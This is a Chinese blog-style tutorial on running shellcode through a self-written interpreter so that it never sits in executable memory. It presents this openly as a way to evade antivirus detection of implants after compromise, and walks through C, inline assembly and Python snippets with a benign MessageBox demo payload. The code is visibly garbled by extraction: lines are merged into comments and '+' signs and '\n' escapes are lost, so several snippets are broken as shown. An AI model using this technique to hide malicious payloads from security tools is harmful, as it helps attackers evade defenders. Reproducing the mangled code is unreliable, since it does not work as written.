无可执行权限加载 ShellCode

2024-02-26 17:24:44 浏览数 (1)

简单来说就是可以直接加载可读内存中的加密 ShellCode,不需要解密,不需要申请新的内存,也不需要改可执行权限。应用不仅仅在上线,上线后的各种功能都可以通过 ShellCode 实现

1.查杀点

现状

在加载 ShellCode、使用 BOF 等时候,经常需要将机器码密文解密写入可写权限的内存,再改为可执行权限来运行

弊端

需要经常进行内存属性修改的敏感行为,并且机器码明文处于可执行权限的内存中,迟早会被查杀

2.规避查杀点

目标

不使用 RWX、不修改内存属性、不解密 ShellCode,就可以加载 ShellCode

解决方案

代码编写 -> 提取 ShellCode -> 机器码转汇编 -> 汇编转换自定义语言 -> 通过解释器运行

3.解释器实现

解释器和编译器的区别

编译器就类似常规的 ShellCode 加载方式,去运行机器码

解释器是去解析你自定义的语言来进行对应的操作

实现原理

一步一步讲

获取 ShellCode 汇编

ShellCode.c:

代码语言:javascript复制
#include <windows.h>
// 设置入口点#pragma comment(linker, "/entry:Shell")
/** 1.C/C  * 常规: SDL检查(否)* 代码生成: 运行库(多线程)、安全检查(禁用安全检查)* 2.链接器* 清单文件: 生成清单(否)* 调试: 生成调试信息(否)* 高级: 入口点(Shell)*/
typedef int(WINAPI* pMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
// 入口函数置顶#pragma code_seg(".text")
void Shell(pMessageBoxA funcMessageBoxA) {char a[] = { '' };funcMessageBoxA(0, a, a, MB_ICONWARNING);}

生成 ShellCode.exe 后提取 ShellCode (ctrl shift c),粘贴至 asm.txt

机器码转汇编.py:

代码语言:javascript复制
import binasciifrom capstone import Cs, CS_ARCH_X86, CS_MODE_32
def subAsm(asmHex):asmByte = binascii.unhexlify(asmHex)
cs = Cs(CS_ARCH_X86, CS_MODE_32)asm = cs.disasm(asmByte, 0)
for instruction in asm:print(instruction.mnemonic   ' '   instruction.op_str)
if __name__ == '__main__':with open('asm.txt', 'r') as file:asmHex = file.read().replace(' ', '').replace('n', '')subAsm(asmHex)

输出 (保存到 ShellCode.txt):

代码语言:javascript复制
;--栈上移--push ebpmov ebp, esp;--Windows API 参数入栈--push ecxpush 0x30lea eax, [ebp - 1]mov byte ptr [ebp - 1], 0push eaxpush eaxpush 0;--调用 Windows API--call dword ptr [ebp   8];--栈下移--mov esp, ebppop ebpret

分析 ShellCode 调用过程

ShellCodeLoader.c:

代码语言:javascript复制
#include <windows.h>
__declspec(naked) void ShellCode(...) {__asm {push ebpmov ebp, esppush ecxpush 0x30lea eax, [ebp - 1]mov byte ptr[ebp - 1], 0push eaxpush eaxpush 0call dword ptr[ebp   8]mov esp, ebppop ebpret}}
int main() {ShellCode((PDWORD)MessageBoxA); // 下断点}

调试转到反汇编

代码语言:javascript复制
mov eax, dword ptr [MessageBoxA]push eaxcall Shell

发现在进入 ShellCode 内联汇编前将 MessageBox 地址和 call 的下一行地址入栈了

进入内联汇编后,除了平栈就是继续构造 Windows API 的栈区域

实现调用过程

只要能将 Windows API 的栈区域正确构建出来,就可以正确调用 Windows API

实现一个虚拟环境,包含虚拟寄存器、虚拟栈

代码语言:javascript复制
// 虚拟寄存器// 当前正在讲解样例编写,成品可以使用 PDWORD vtEAX = (PDWORD)malloc(sizeof DWORD);DWORD vtEAX;DWORD vtEBX;DWORD vtECX;DWORD vtEDX;DWORD vtESP;DWORD vtEBP;DWORD vtESI;DWORD vtEDI;DWORD vtEIP;
// 虚拟栈PVOID pVtStack = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_READWRITE);

将进入内联汇编前的真实环境状态复制到虚拟环境

代码语言:javascript复制
// 解释器__declspec(naked) void Interpreter(...) {// 复制寄存器状态DWORD currentESP;__asm {mov vtEAX, eaxmov vtEBX, ebxmov vtECX, ecxmov vtEDX, edxmov currentESP, espmov vtESI, esimov vtEDI, edi}
// 复制栈状态 (包含 MessageBox 地址和 call 的下一行地址)vtEBP = vtESP = (DWORD)pVtStack   0x9000;for (int i = currentESP   4; i >= currentESP; i -= 4) {vtESP -= 4;*(PDWORD)vtESP = *(PDWORD)i;}
// 解析内联汇编的指令文本__asm {call Parseret}}
int main() {// 通过解释器运行 ShellCodeInterpreter((PDWORD)MessageBoxA);}

解析内联汇编的指令文本,在虚拟环境中构建出正确的 Windows API 栈区域

代码语言:javascript复制
// 解析内联汇编的指令文本void Parse() {// 从文件逐行读取指令到数组vector<string> asmCodes = ReadShellCode("ShellCode.txt");
// 遍历指令进行解析for (vtEIP = 0; vtEIP < asmCodes.size(); vtEIP  ) {// 提取操作符和操作数string mnemonic = GetMnemonic(asmCodes[vtEIP]);string operands = GetOperands(asmCodes[vtEIP]);
// 模拟运行指令 (在虚拟环境中实现对应功能)if (mnemonic == "push") {Push(GetDwordValue(operands));}else if (mnemonic == "mov") {Mov(operands);}else if (mnemonic == "lea") {Lea();}else if (mnemonic == "call") {Call();}else if (mnemonic == "pop") {Pop();}else if (mnemonic == "ret") {Ret();}}}

例:

代码语言:javascript复制
void Push(DWORD value) {vtESP -= 4;*(PDWORD)vtESP = value;}

调用 call 前,已经将 Windows API 的栈区域正确构建出来了

之后想成功 call Windows API 只需要将真实环境中的栈移到虚拟环境中,调用完再移回来就可以了

代码语言:javascript复制
void Call() {// 记录原栈位置__asm {mov realESP, espmov realEBP, ebp}
// 进入虚拟栈__asm {mov esp, vtESPmov ebp, vtEBP}
// 调用 Windows API__asm {call dword ptr [ebp   8]}
// 回到原栈位置__asm {mov esp, realESPmov ebp, realEBP}}

步骤总结

ShellCode 汇编指令文本 -> ShellCode.txt

解释器:构造初始虚拟环境 -> 读取汇编指令文本 -> 遍历指令 -> 解析指令调用对应指令的处理器 -> 处理器继续构造栈区域 -> 栈进入虚拟环境调用 Windows API -> 处理器继续收尾工作

讲解:https://www.bilibili.com/video/BV1Z7421P7N6/?spm_id_from=333.999.0.0&vd_source=585d9231ec9a51e9a4a23da74480b609

代码:https://github.com/HexNy0a/ShellCode-Interpreter

0 人点赞